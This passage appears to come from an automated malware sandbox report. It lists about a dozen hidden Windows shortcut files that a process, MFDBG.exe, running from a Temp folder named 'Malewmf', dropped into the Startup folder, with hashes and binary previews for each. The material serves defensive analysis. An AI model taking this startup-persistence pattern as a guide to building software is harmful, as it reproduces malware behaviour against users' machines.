File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929423772044293
Encrypted:	false
SSDEEP:	24:852BfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8q/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E4F4154DA2904080CB41D0354128EC61
SHA1:	9B0C9BBFF43A7C5E164EFB6D046260D8061A0D97
SHA-256:	FE0ECEB7BD28196EF8056C95E8C9BE2CB005F5EFFA549B7A046BF677BC8AECB4
SHA-512:	99C38E038C1DDA7C8154511FCC3E905E153CA23D7EF7F013BC4480A5F424CB10A32B7B6A3C262175CC86B37431CF525E6D4D98DF9FF7B0A7EC73964E4FD0B02E
Malicious:	false
Preview:	L..................F....".......d.....}%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0ddbf8c83cc466c83048afc07bce492.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922417701098545
Encrypted:	false
SSDEEP:	24:8cBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D1123B3B481D3C9007E03AE8188A4516
SHA1:	D80FDE9DCDDE75B6FB2225E4AB824EFB19FB82BD
SHA-256:	447D44FC9FC5E540D97AF3B74985964F8CF1AFF8797103BB7F0ECE65A77C6447
SHA-512:	EBF7CBED0672D041C214309283565B8A467F3934A0A59E3A89155F8BE826B315ED1BFF8300DC3ADEF83369175AA2C10C5CE0C54249ED77F9E4A37B041D2633F0
Malicious:	false
Preview:	L..................F....".......d.....pQd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....MQd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a127d18385374dcc8c7c761ae28beb07.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920601888295946
Encrypted:	false
SSDEEP:	24:8WTBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	98EA73E321286DD2F3BBAD648E4E7970
SHA1:	5C5B6A204B99A6A22C29830CBC05EC6B8B3007A7
SHA-256:	586F3BEAE6D8642755A86A4093951200FBF4A3DA009E96A8CFB1126B807D32A9
SHA-512:	9B767D96929A1AA5FD8E5E9526B1C423CCEAF23FCDCC4DDA40FF1AA1F85DAD884C235BE5A3AD95573660BF6660A51B3B562B11EFFEB76D92F62EA53983D8C89C
Malicious:	false
Preview:	L..................F....".......d....q.<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a12b4f34118e435c9a3e8119bbd18742.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914467908997138
Encrypted:	false
SSDEEP:	24:8h2Bff48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ydEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7C15AD7C9E2C1836CD4F22F64A7A89CA
SHA1:	B0E1DFE690573E73F6480D1AC5D690D843CF91F6
SHA-256:	9027CECBA30C9BC9FBDE6003EE77F886748E8C32500E136EB1229B3DF059EC3C
SHA-512:	3C46276631ECEDD15D062718F46B52B8B8311FC5E60EC498EA75A482455C6DCEFA1ADBCD551B5112B9DF49145FE3033D2B5B596929CF1341D7DE89FD05C5E2E3
Malicious:	false
Preview:	L..................F....".......d...!.L_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...!.L_d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a17813bcabc3441d8fb993e5629e72cf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923661695312722
Encrypted:	false
SSDEEP:	24:8KBfJ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0B7B1A9558EC03EE9FAE4D9956B0B3B7
SHA1:	4F51213D815BF60846004A61A58367109FA24C31
SHA-256:	F0B1963333656BF706E6681BA828681CD9BDC3B5B7B15C84B0DFB338FCC6BB6B
SHA-512:	6D11E675E5B36689B6D44816DFB7D688742E20C6187EA3BB381620687F27A86389A3C14AC2DB1F27515E0A4ED902967862F06E3E1CF080B47E5B030432EAA605
Malicious:	false
Preview:	L..................F....".......d...5..9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......8d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a187a8d8832348a1b09ca7bd5576d1f4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920907844945178
Encrypted:	false
SSDEEP:	24:8CBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	706517EFC5068687453F59C60FA363E1
SHA1:	28BBD35D335D831024272EAF41E3333393972F4E
SHA-256:	BD5715EEFCE907A1BD5C03ED46FB8C80A3E0445B13D473D1CB33482B0AB0C7AD
SHA-512:	ED87B0E1A595C7F7D7F87B4C2B771F9810BFAB2C77F993B695AE97632008EFE44F61CBC3C55AE73C404D7A3882904A6409D9197B51AE94550A8BDDA8F42708B6
Malicious:	false
Preview:	L..................F....".......d....4~:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a18e9964d32c484f85544f885b11900c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521064
Encrypted:	false
SSDEEP:	24:83BfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8A4DA8FB97F470BA756B18F43675D76
SHA1:	39F1D85F601AA8CEBE499B885CB018629998D715
SHA-256:	C08E868F5B973656B6D097E04C1CCD9F64B0FD710684F378DF92D1B1812954E9
SHA-512:	FF7293DD2E9F4056B7EF36564DB24EA9A36A5A4889A2A6861CBF5A19E961C07E59105B39A484427EF9BD6D3144170E810100ABFA07DB0156EE34B9ED71CFD5DA
Malicious:	false
Preview:	L..................F....".......d.....:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2762f5694cd4b8c9fa31c2db5fe3839.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921361317986003
Encrypted:	false
SSDEEP:	24:8fBfC8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B8EFBED0C3C01293F959C41D455771F8
SHA1:	582EE536D1C3207EEFAF1D8685012CD8AB2393BB
SHA-256:	DC63AAA47B17C3208848BE2F7E7B28903B82E732F7048EA421412F56D51EEAE3
SHA-512:	432C7732FE959469925BA074A9A120AEC82A1133708625D83B583CBF728D7EC2E7CE2B3C6653180229522969325F86D1B44B12B0BCC9937C0550087098EC8219
Malicious:	false
Preview:	L..................F....".......d...jp&.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a29d4a06ab024750af2bf767f5e85ad9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920202694362192
Encrypted:	false
SSDEEP:	24:8VBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	87BD884A3D58EDF2F4F990C31890E464
SHA1:	A0E6F04C504A78623AAA41F37A97BE5F1D0486F8
SHA-256:	057216B0EFA76526F3F49D1FAB9D5C20BD9E6A524080D7F6D21D126E33C9DD05
SHA-512:	8E00F7A8271357E26671D190B27275C688B329D37EC299DB2FE6AB375C0D5651B11CCD349596D5425C07705757BAAE4E760FD7C2B7EF217A225058547D426FFF
Malicious:	false
Preview:	L..................F....".......d...9).%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2ea4756929e45d591866deb3da89f16.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917025309800275
Encrypted:	false
SSDEEP:	24:86Bfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84PEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A24BAE97203E7742C7CB99E88AE4C959
SHA1:	70109AD938912E89C57FC47298A7EC14BC058A41
SHA-256:	09CA238A80FB93C5662952BA8BECE648209D742F7ACEB18CA00E803C34A6B0A3
SHA-512:	2A935AC4088A854F668B97AED8F76DEB93534C6920B2788A5F52B2D50C09240D6BCE4BBE285DCA2401DF269F4B370497D33CBADF16552CE7AAB0DB8673A4EB6A
Malicious:	false
Preview:	L..................F....".......d....JM&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2efe83ad92741b4a7acaccf8bf79f72.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924638110922859
Encrypted:	false
SSDEEP:	24:8hBf78EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87QEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F220C90D38E78FF7DB050B92B21A6ED1
SHA1:	642EEBCB28CFB77FF44C7D10C10EE82D1BCC7E66
SHA-256:	0F6DCFE3BB884BED6F83202E669238FBEB9D528B3B5FD9A42775A1A7AC620BE6
SHA-512:	2B6D319FFC325521E5EB9BFD2DACE1FBB375F8ECC0F176270A99C8312DC6078A8A6C88280AF59845B790B6F638B045CD8FCC63C0286AC9C022F0F931BDCCB05C
Malicious:	false
Preview:	L..................F....".......d...i..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...QYp.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a30d2e7c430a4d959d4337ee2273ae31.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931256000549996
Encrypted:	false
SSDEEP:	24:8zBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81QEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DB2DC5B5A8F29759CF4BD678C0142D66
SHA1:	8B498FADC93E99A994D954FA2A83BD893C8AE113
SHA-256:	35FD65C0C4E794F34DED63073D5F893783002FB50A001984D43E65F26DC6B132
SHA-512:	A89C2B9514E4300D84979735F08B80DE307032B2F5BC08B41B560B2A37976AA0B0F3DCE329D0B38DBCEF6E694E212CFC18B36D4F13ABA93895790E8FC8E39333
Malicious:	false
Preview:	L..................F....".......d......[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a3ea820ecad64f51a4b7e66694e7756b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931256000549997
Encrypted:	false
SSDEEP:	24:8JuBfWQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JEeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D3EE03F37622209A11DBE50FBBD245D6
SHA1:	A266EA35E04A0952B151E61120ED7D17AAF6E9A6
SHA-256:	D0F8E4FAF6E288F0039C9CC7D397D2180416D22646B01ACA95410925D5D527CB
SHA-512:	84E83F0828AA49302E5EF2DF47DF3168615A8D22579A570FFF0DF0C8CE37D60ECD4F0FD03AC202C0376E0634FF9B8F0457BFE95BF2D8D20DF4DD241F2E6EB523
Malicious:	false
Preview:	L..................F....".......d......(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Zi.(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4bc2eddf7bc408685e47cab72092a79.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
